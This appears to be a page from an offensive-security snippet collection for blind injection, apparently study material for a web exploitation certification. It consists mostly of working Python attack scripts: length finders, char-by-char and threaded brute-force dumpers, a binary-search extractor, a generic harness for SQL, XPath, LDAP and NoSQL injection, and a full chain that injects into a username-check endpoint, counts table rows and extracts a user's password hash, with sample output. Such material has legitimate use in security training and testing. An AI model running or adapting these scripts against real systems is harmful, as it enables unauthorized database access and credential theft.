Blind
Find length (linear count-up)
Increments until the length predicate is true. Cheap for short values; binary search suits large blobs.
def get_length(s, expr):
n = 0
while True:
print(f"\r[*] Testing length: {n}", end="", flush=True)
if oracle(s, f"LENGTH({expr})={n}"):
print(f"\r[+] Length: {n} ")
return n
n += 1Find by: blind, length, string-length, count, size, how long, linear, find length, number of chars · Source: CWEE/XPath, Blind SQLi
Char-by-char dump + live progress
The canonical linear dumper: for each position, the charset is walked until the equality predicate fires.
import string
charset = string.printable[:-5] # printable minus whitespace tail
def dump(s, expr, length):
out = ""
for pos in range(1, length + 1):
for ch in charset:
cond = f"SUBSTRING({expr},{pos},1)='{ch}'"
if oracle(s, cond):
out += ch
print(f"\r[+] {out}", end="", flush=True)
break
print()
return outFind by: blind, dump, extract, char by char, bruteforce, substring, exfiltrate, password, flag, live progress, carriage return · Source: CWEE/Blind SQLi
Threaded char bruteforce (ThreadPoolExecutor)
The whole charset for one position is fired in parallel; the first hit wins. Much faster than linear.
from concurrent.futures import ThreadPoolExecutor, as_completed
import string
charset = string.printable[:-5]
def test_char(s, expr, pos, ch):
cond = f"SUBSTRING({expr},{pos},1)='{ch}'"
return ch if oracle(s, cond) else None
def dump_threaded(s, expr, length, workers=10):
out = ""
for pos in range(1, length + 1):
found = None
with ThreadPoolExecutor(max_workers=workers) as ex:
futs = {ex.submit(test_char, s, expr, pos, c): c for c in charset}
for fut in as_completed(futs):
if fut.result():
found = fut.result()
break
if not found:
break
out += found
print(f"\r[+] {out}", end="", flush=True)
print()
return outFind by: threaded, concurrent, threadpoolexecutor, as_completed, fast, parallel, speed up blind, futures, workers, race the charset · Source: CWEE/SSJI threaded
Binary-search char extraction (OPTIMISED ~7 req/char)
Linear extraction tests up to ~95 printable chars per position; binary search instead asks “is this byte greater than the midpoint?” and halves the range each time — about 7 requests per character regardless of charset size. The trade-off: it requires an oracle that supports a greater-than comparison (ASCII(...) > mid), not just equality. On a slow target that is the difference between minutes and seconds.
comparisons: ~7 requests/char vs up to ~95 linear. Needs a greater-than oracle.">
def get_char(s, expr, pos, lo=32, hi=126):
"""~log2(hi-lo) requests per char. Oracle answers 'ASCII(char) > mid'."""
while lo < hi:
mid = (lo + hi) // 2
if oracle(s, f"ASCII(SUBSTRING({expr},{pos},1)) > {mid}"):
lo = mid + 1
else:
hi = mid
return chr(lo)
def dump_binsearch(s, expr, length):
out = ""
for pos in range(1, length + 1):
out += get_char(s, expr, pos)
print(f"\r[+] {out}", end="", flush=True)
print()
return outFind by: binary search, optimised, fast blind, bisection, fewer requests, ascii, greater than, log2, efficient, speed, reduce requests
Reusable blind-dump harness (wire 3 lambdas)
Avoids rewriting length+dump per target. Binding 3 closures (oracle, length cond, char cond) enables reuse across SQLi/XPath/LDAP/NoSQL.
The length-finder and char-dumper are identical across SQLi, XPath, LDAP and NoSQL — only the injected condition strings differ. Binding those three differences as closures makes the engine reusable: oracle runs the request and returns true/false, len_cond builds the “length == n” condition, char_cond builds the “char at position p == ch” condition. The linear char loop can be swapped for the binary-search primitive when the value is long.
import string
def blind_dump(oracle, len_cond, char_cond, charset=string.printable[:-5], max_len=64):
"""
oracle(cond:str) -> bool True when injected condition is TRUE
len_cond(n:int) -> str condition true when length == n
char_cond(pos,ch)-> str condition true when char@pos == ch (1-indexed)
"""
length = 0
while not oracle(len_cond(length)):
length += 1
if length > max_len:
raise RuntimeError("length exceeded max_len")
out = ""
for pos in range(1, length + 1):
for ch in charset:
if oracle(char_cond(pos, ch)):
out += ch
print(f"\r[+] {out}", end="", flush=True)
break
print()
return out
# --- wiring example (SQLi) ---
# expr = "(SELECT password FROM users WHERE username='maria')"
# orc = lambda c: "available" not in s.get(CHECK_URL, params={"u": f"maria' AND ({c}) -- -"}, verify=False).text
# lc = lambda n: f"LENGTH({expr})={n}"
# cc = lambda p, ch: f"SUBSTRING({expr},{p},1)='{ch}'"
# print(blind_dump(orc, lc, cc))Find by: harness, reusable, generic, DRY, framework, dump engine, lambda, plug in oracle, any injection, template, one engine
Blind extraction: row count, binary-search length, char dump
Canonical blind chain: a marker-string oracle drives row count, binary-searched length, and per-character extraction.
This is the canonical blind-extraction chain. oracle injects <known_user>' AND (<condition>) -- -: the AND keeps the seed row only when the condition is TRUE, and the app prints the marker FALSE_STRING (here available) precisely when the row vanishes, so FALSE_STRING not in r.text yields the boolean. On top of that single oracle, count_rows walks (SELECT COUNT(*) FROM <table>) = n to size a table, find_length binary-searches LENGTH(expr) > mid in about log2(cap) requests instead of incrementing, and dump recovers each character by binary-searching ASCII(SUBSTRING(expr,i,1)) > mid over printable ASCII (32-126) – seven requests per character rather than up to ninety-five. Both searches converge lo to the first value where the > predicate turns false, which is the exact length or code point. For T-SQL targets swap LENGTH for LEN; ASCII and SUBSTRING are shared across MySQL and MSSQL.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
s = requests.Session()
CHECK_URL = "https://target/api/check-username.php"
FALSE_STRING = "available" # text shown ONLY when the seed row is gone -> FALSE
KNOWN_USER = "maria"
def oracle(condition):
# AND keeps the seed row only when <condition> is TRUE; when the row
# disappears the app reports the username as available -> FALSE.
params = {"u": f"{KNOWN_USER}' AND ({condition}) -- -"}
r = s.get(CHECK_URL, params=params, verify=False) # proxies=PROXIES to inspect
return FALSE_STRING not in r.text
def count_rows(table):
n = 0
while not oracle(f"(SELECT COUNT(*) FROM {table}) = {n}"):
n += 1
print(f"[+] {table} has {n} rows")
return n
def find_length(expr, cap=64):
lo, hi = 0, cap # binary search: ~log2(cap) requests
while lo < hi:
mid = (lo + hi) // 2
if oracle(f"LENGTH({expr}) > {mid}"):
lo = mid + 1
else:
hi = mid
print(f"[+] LENGTH({expr}) = {lo}")
return lo
def dump(expr):
out = ""
for i in range(1, find_length(expr) + 1):
lo, hi = 32, 126 # printable ASCII, binary searched per char
while lo < hi:
mid = (lo + hi) // 2
if oracle(f"ASCII(SUBSTRING({expr},{i},1)) > {mid}"):
lo = mid + 1
else:
hi = mid
out += chr(lo)
print(f"\r[*] {expr}: {out}", end="", flush=True)
print(f"\n[+] {expr} = {out}")
return out
# dump("password") # extract the seed user's password hashLength then progressive dump
[+] users has 3 rows
[+] LENGTH(password) = 32
[*] password: 9c6f8704f305b22c538c14207650ccda
[+] password = 9c6f8704f305b22c538c14207650ccdaFind by: blind sqli, char-by-char, ASCII SUBSTRING, row count, length, binary search, dump password, exfiltration · Source: CWEE/Blind SQLi count rows + length and dump